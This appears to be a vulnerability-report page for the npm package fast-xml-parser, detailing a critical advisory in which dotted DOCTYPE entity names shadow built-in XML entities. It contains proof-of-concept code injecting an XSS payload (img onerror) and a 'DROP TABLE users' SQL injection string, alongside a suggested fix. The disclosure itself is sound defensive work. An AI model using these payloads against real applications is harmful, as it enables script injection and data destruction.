npm package report

Is fast-xml-parser safe?

12 known vulnerabilities, worst severity CRITICAL.

// reach

0 direct dependencies

none carry a known advisory

    112 packages depend on it

    an advisory here reaches each of them

    Create a free accountfor every dependency path, dependent and what to upgrade
    // ai model usage

    Tracked for PyPI packages. HuggingFace models declare Python dependencies, so npm packages are not covered.


    cvss
    9.3
    critical

    CVSS v3.1 base score out of 10

    epss
    0.53%
    medium

    chance of exploitation in 30 days, 45th percentile of all CVEs

    xyz score
    5.3
    medium

    CyberXYZ composite out of 10

    fig. 01 — GHSA-m7jm-9gc2-mpf2, the advisory selected below

    // 12 advisories

    GHSA-m7jm-9gc2-mpf2

    CRITICALGitHub ratingCVE-2026-25896
    // summary

    A dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", ') with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.

    // details

    The fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed . (period), which is valid in XML names per the W3C spec.

    In DocTypeReader.js, entity names are passed directly to RegExp():

    entities[entityName] = {
        regx: RegExp(`&${entityName};`, "g"),
        val: val
    };

    An entity named l. produces the regex /&l.;/g where . matches any character, including the t in <. Since DOCTYPE entities are replaced before built-in entities, this shadows < entirely.

    The same issue exists in OrderedObjParser.js:81 (addExternalEntities), and in the v6 codebase - EntitiesParser.js has a validateEntityName function with a character blacklist, but . is not included:

    // v6 EntitiesParser.js line 96
    const specialChar = "!?\\/[]$%{}^&*()<>|+";  // no dot
    // shadowing all 5 built-in entities

    | Entity name | Regex created | Shadows | |---|---|---| | l. | /&l.;/g | &lt; | | g. | /&g.;/g | &gt; | | am. | /&am.;/g | &amp; | | quo. | /&quo.;/g | &quot; | | apo. | /&apo.;/g | &apos; |

    // poc
    const { XMLParser } = require("fast-xml-parser");
    
    const xml = `<?xml version="1.0"?>
    <!DOCTYPE foo [
      <!ENTITY l. "<img src=x onerror=alert(1)>">
    ]>
    <root>
      <text>Hello &lt;b&gt;World&lt;/b&gt;</text>
    </root>`;
    
    const result = new XMLParser().parse(xml);
    console.log(result.root.text);
    // Hello <img src=x onerror=alert(1)>b>World<img src=x onerror=alert(1)>/b>

    No special parser options needed - processEntities: true is the default.

    When an app renders result.root.text in a page (e.g. innerHTML, template interpolation, SSR), the injected <img onerror> fires.

    &amp; can be shadowed too:

    const xml2 = `<?xml version="1.0"?>
    <!DOCTYPE foo [
      <!ENTITY am. "'; DROP TABLE users;--">
    ]>
    <root>SELECT * FROM t WHERE name='O&amp;Brien'</root>`;
    
    const r = new XMLParser().parse(xml2);
    console.log(r.root);
    // SELECT * FROM t WHERE name='O'; DROP TABLE users;--Brien'
    // impact

    This is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.

    • Default config, no special options
    • Attacker can replace any &lt; / &gt; / &amp; / &quot; / &apos; with arbitrary strings
    • Direct XSS vector when parsed XML content is rendered in a page
    • v5 and v6 both affected
    // suggested fix

    Escape regex metacharacters before constructing the replacement regex:

    const escaped = entityName.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
    entities[entityName] = {
        regx: RegExp(`&${escaped};`, "g"),
        val: val
    };

    For v6, add . to the blacklist in validateEntityName:

    const specialChar = "!?\\/[].{}^&*()<>|+";
    // severity

    CWE-185 (Incorrect Regular Expression)

    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - 9.3 (CRITICAL)

    Entity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.

    // cvss v3.1 vector

    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N

    Attack vector
    Network
    Attack complexity
    Low
    Privileges required
    None
    User interaction
    None
    Scope
    Changed
    Confidentiality
    Low
    Integrity
    High
    Availability
    None

    Checked 2026-11-06 at 20:51 UTC. The most recent advisory here was published 2026-07-21. Updated continuously from NVD, GHSA, OSV and CNA feeds.

    Think a verdict here is wrong? Tell us — we respond within 2 business days.